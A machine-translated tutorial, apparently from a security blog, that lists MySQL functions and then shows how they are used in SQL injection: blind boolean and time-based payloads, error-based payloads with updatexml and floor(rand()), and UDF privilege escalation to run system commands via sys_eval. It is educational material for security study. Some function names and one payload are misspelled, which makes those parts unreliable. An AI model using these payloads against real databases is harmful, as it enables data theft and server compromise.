Injection using a function of the database system (acquaintance)

Database system function

The system comes with MySQL function

* More function: https: //blog.csdn.net/qq646040754/article/details/82721801

Mathematical Functions:

bin(x)/ hex(x)Return x binary / hexadecimal code

abs(x) Absolute value of x

mod(x,y) Remainder operator

sqrt(x) Square root operation

ceil(x) / ceiling(x)

rand() Returns the floating point number between 0 and 1

round(x,D) Rounded to D decimal places

sign(x) Returns the sign of x

pow(x,y) x to the power y

exp(x) e power of x

floor(x) Returns the largest integer less than or equal to x

count(x) Query returns the total number of records

sum() Back Totaling

Date function :

addate(d,n) D is calculated start date date plus n days

addtime(t,n) Calculating a time t plus n seconds

curdate() current_date()Returns the current date

curtime() current_time()Returns the current time

current_timestamp() localtime() now() sysdate() Returns the date and time

String Functions:

ascii(str) It returns the ASCII value of the first character string

char_langth(str) Statistics of the number of characters in a string

length(str) Returns the length of string str

insert(str,x,y,insert) String starts from x, y character string is replaced with insert length

lpad(s1,len,s2) Filling the string s1 s2 beginning of the string, such that the length reached len

rpad(s1,len,s2) Filled string s2 s1 at the end of the string, such that the length reached len

ltrim(s)/rtrim(s) Delete the spaces at the beginning of the string s / end

locate(s1,s) Obtaining from the start position of the string s s1

position(s1 in s2) S1 acquired starting from the position of the string s

left(s,n)Return the first n characters of the string s

right(s,n) After returning n characters string s

mid(s,n,len),substring(s,n,len),substr(s,n,len) Taken from the n len of the string s

concat(s1,s2,…)Returns s1, s2 string connected

concat_ws(s1,s2,'char'^) Returns the string concatenation separator can be freely added

lcase() lower() Lowercase conversion

ucase(s) upper(s) Capitalized conversion

field() Returns a string in the first position of a list of strings

find_in_set(s1,s2) Returns a string in the string of matched positions s1 and s2

repeat(s,n) String n times s

reverse(s) String in reverse order

strcmp(s1,s2) Compare strings s1, s2 and returns the result of the comparison

nullif(exp1,exp2) Compare two strings

formax(x,n) X digital format, the x n bits after the decimal point (rounded)

truncate(x,y) Back to retain the value of x value of y bits after the decimal point, (without rounding)

binary(s) Converts a string to a binary string s

Special Functions:

connection_id() Returns the ID of the database server connection

current_user() sssion_user system_user() user() Returns the current user name

database() Returns the current database name

version() Returns the version number of the database

@@version_compile_os View System Architecture

@@version_compile_machine View mysql architecture

@@datadir View storage directory data

Function using the position:

length function: determine the length

select length(database());

count () function: Returns the number of rows that match specified criteria

union select 1,count(*),3 from user;-- 查看当前表的数量

MID () function: for extracting (period) characters from the field (Boolean / time / given blinds)

and mid(user(),1,1)='r';

and if(mid(user(),1,1)='r',sleep(2),1);

and updatexml(1,mid(concat(0x7e,user()),1,5),1)

group by statement: aggregation function used in combination (error injection)

and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)

if (1,2,3): Time Blind

select if(1=1,sleep(2),1)

MySQL command execution system

system execution format:

mysql> system <linux命令>

UDF mention the right to execute system commands:

• MySQL UDF is a function of user-defined,

• Claim:

  plugin directory with read and write permissions

View the system architecture and MySQL

select @@version_compile_os , @@version_compile_machine ;

MySQL UDF library needs to be placed in the plugin file

select @@plugin_dir;

Create a custom function syntax:

create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';

AGGREGATE Represents a function of the polymerization, the polymerization system-defined functions are: count (), ave (), mn (), sum ()

SONAME Which indicates that the function is introduced from the file, the file is usually dynamic link library, windows are dll, linux is so, and the plugin directory of the file mysql again;

UDF support functions:

sys_eval Execute arbitrary commands, and return to his output

sys_exec Execute arbitrary commands, and return to his exit code

sys_get Gets the value of an environment variable

sys_set Create an environment variable or update an existing environment variable value